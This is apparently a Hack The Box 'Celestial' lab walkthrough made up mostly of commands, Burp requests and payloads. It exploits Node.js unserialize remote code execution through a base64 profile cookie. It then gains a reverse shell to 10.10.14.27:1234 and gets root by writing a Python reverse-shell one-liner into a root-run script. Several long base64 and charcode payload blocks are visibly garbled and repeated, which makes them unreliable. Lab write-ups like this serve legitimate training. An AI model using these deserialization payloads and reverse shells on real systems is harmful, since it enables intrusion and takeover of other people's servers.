DECODE COOKIE USING BURP (BASE64)

NODE JS SERIALIZATION

PORT STATE SERVICE VERSION

3000/tcp open http Node.js Express framework

|_http-title: Site doesn't have a title (text/html; charset=utf-8)

root@kali:/home/kali/Desktop/hackthebox/celestial# gobuster dir -u http://celestial.htb:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

BURP

GET / HTTP/1.1

Host: celestial.htb:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Connection: close

Cookie:

profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG 93bilsIm51bSI6IjIifQ%3D%3D

Upgrade-Insecure-Requests: 1

If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

DECODE COOKIE BASE64

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"fQ%3D%3D

NODE JS SERIALIZATION

 $\label{lem:continuous} $$\{"username": "Dummy", "rce": "_$$ND_FUNC$$_function () { require('child_process').exec('ping -c2 10.10.14.27', function() { });}()"\} $$$

Encode base64

eyJ1c2VybmFtZSI6IkR1bW15IiwicmNIIjoiXyQkTkRfRIVOQyQkX2Z1bmN0aW9ulCgpeyByZXF1aXJIKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncGluZyAtYzlgMTAuMTQuMjcnLCBmdW5jdGlvbigplHsgfSk7fSgpln0K

BURP REQUEST

GET / HTTP/1.1

Host: celestial.htb:3000

 $User-Agent: Mozilla/5.0 \ (X11; Linux \ x86_64; \ rv:68.0) \ Gecko/20100101 \ Firefox/68.0$

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

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Cookie:

profile=eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlljoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpeyByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncGluZyAtYzIgMTAuMTQuMjcnLCBmdW5jdGlvbigplHsgfSk7fSgpIn0K

Upgrade-Insecure-Requests: 1

If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

root@kali:/home/kali/Desktop/hackthebox/celestial# tcpdump -i tun0 icmp

IT WORKS!!!!!!!

https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

root@kali:/home/kali/Desktop/hackthebox/celestial# python node.py 10.10.14.27 1234

[+] LHOST = 10.10.14.27

[+] LPORT = 1234

[+] Encoding

59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111 ,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,55,34,59,10,80,79,82 ,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,3 2,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39, 117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,2,32,32,32,32,32,318,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,5 3,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105 1,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99, 2,32,125,41,59,10,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,11 4,41,59,10))

{"username":"Dummy","rce":" \$\$ND FUNC\$\$ function

(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,4 1,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,1 2,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32, 39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,1 01,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,110,116,117,116,,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102 ,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101 ,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,32,99,108,105,101,110,116 ,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,3 2,32,32,32,32,32,32,318,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,4 1,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,10 0,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100, 105,110,41,59,10,32,32,32,32,32,32,32,32,315,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,11 16,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40 ,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110, 9,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79, 83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,10,125,82,84,41,59,10))}()"}

eyJ1c2VybmFtZSI6IkR1bW15IiwicmNIIjoiXyQkTkRfRIVOQyQkX2Z1bmN0aW9uICgpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ2 iw 2MSwzMiwxMTQsMTAxLDexMywxMTcsMTA1LDexNCwxMDesNDAsMzksOTksMTA0LDewNSwxMDgsMTAwLDk1LDexMinuxMTQsMTAwLDk1LDexMinuxMTcsMTA1LDexMinuxMTQsMTAwLDk1LDexMinuxMTQsMTAwLDk1LDexMinuxMTQsMTAwLDk1LDexMinuxMTQsMTAwLDk1LDexMinuxMTqsMinuxMtqsMinuxMTqsMinuxMtwxMTQsMTexLDk5LDewMSwxMTUsMTe1LDM5LDQxLDQ2LDexNSwxMTIsOTcsMTe5LDexMCw1OSwxMCw3Miw3OSw4My w4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Miw0Niw1MCw1NSwzNCw1OSwxMCw4MCw3OSw4Miw4NCw1NSwzNCw1OSwxMCw4Miw4NCw1NSwzNCw1OSwxMCw4Miw4NCw1NSwzNCw1OSwxMCw4Miw4NCw1NSwzNCw1NSwzNCw1OSwxMCw4Miw4NCw1NSwzNC2MSwzNCw00Sw1MCw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OC w00 CwzNCw10 SwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMTAxLDEwMiwxMDusMTEwLDEwMSwxMDAsMTAxLDEwMiwxMDusMTEwLDEwMSwxMDAsMTAxLDEwMiwxMDusMTEwLDEwMSwxMDAsMTAxLDEwMiwxMDusMTEwLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTAxLDEwMiwxMDusMTewLDEwMSwxMDAsMTaxLDEwMiwxMDusMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMDAsMTewLDEwMSwxMTewLDewMSwxMTewx LDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiinformation and the state of tDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLD k5 LDQwLDcyLDc5 LDgzLDg0 LDQ0 LDgwLDc5 LDgyLDg0 LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0 LDMy LDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMz is NjEsMz isMTEwLDEwMSwxMTksMz isMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDesMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTg Dk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDQsNDYsMTe1LDExNiwxMDQsNDYsMTe1LDExN ${\sf ExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw50SwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwL} \\$ DEwNSwxMT is MTaxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTasMz is Mz issMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYs

BURP REQUEST

GET / HTTP/1.1

Host: celestial.htb:3000

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie:

profile=eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9ulCgpe2V2YWwoU3RyaW5nLmZyb21D a GFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDEx MCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OS w4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1Miw0Niw1MCw1NSwzNCw1OSwxMCw4MCw3OSw4Miw 4 NCw2MSwzNCw0OSw1MCw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw00Cw00CwzNCw10SwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMT QsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTlxLDExMiwxMDEsNDYsOTksMTExLDExMCwx MTY sOT csMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMz is MTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTExNUTATEXPARTEXPDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLD MyLDk5LDQwLDcyLDgoLDQ0LDgwLDc5LDgyLDg0LDQwLDcyLDgyLDgOLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTEOLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwx

DMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksND y L D k 5 L D E w O C w x M D U s M T A x L D E x M C w x M T Y s N D Y s M T E 5 L D E x M C w x M D U s M T E 2 L D E w M S w 0 M C w x M C w x M T E s M T E w L D E x M C w x M D U s M T E x M T E w L D E x M C w x M D U s M T E x MDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiir (Control of the control of the cwx MDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsM sMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwx MTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMj Ms MT As Mz Is MCw0MCwzNCw2OCwxMDUsMTE1LDk5LDexMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDewMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwx MCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxM w5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NC w0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDc5LDgzLDg0LDQ0LDgwLDc5LDg yLDg0LDQxLDU5LDEwKSl9KCkifQo=

Upgrade-Insecure-Requests: 1

If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

root@kali:/home/kali/Desktop/hackthebox/celestial# nc -nlvp 1234

SHELL GAINED!!!!!

cat output.txt

Script is running...

Script is running...

Script is running...

sun@sun:~/Documents\$ cat script.py

cat script.py

print "Script is running..."

print "Script is running..."

sun@sun:~/Documents\$ cat script.py
sun@sun:~/Documents\$ cat script.py
print "Script is running..."

import

 $socket, subprocess, os; s=socket. socket. SOCK_STREAM); s. connect (("10.10.14.27", 4444)); os. dup2(s.fileno(),0); os. dup2(s.fileno(),1); os. dup2(s.fileno(),2); p=subprocess. call(["/bin/sh","-i"]);$

root@kali:/home/kali/Desktop/tools# nc -nlvp 4444

ROOTED!!!!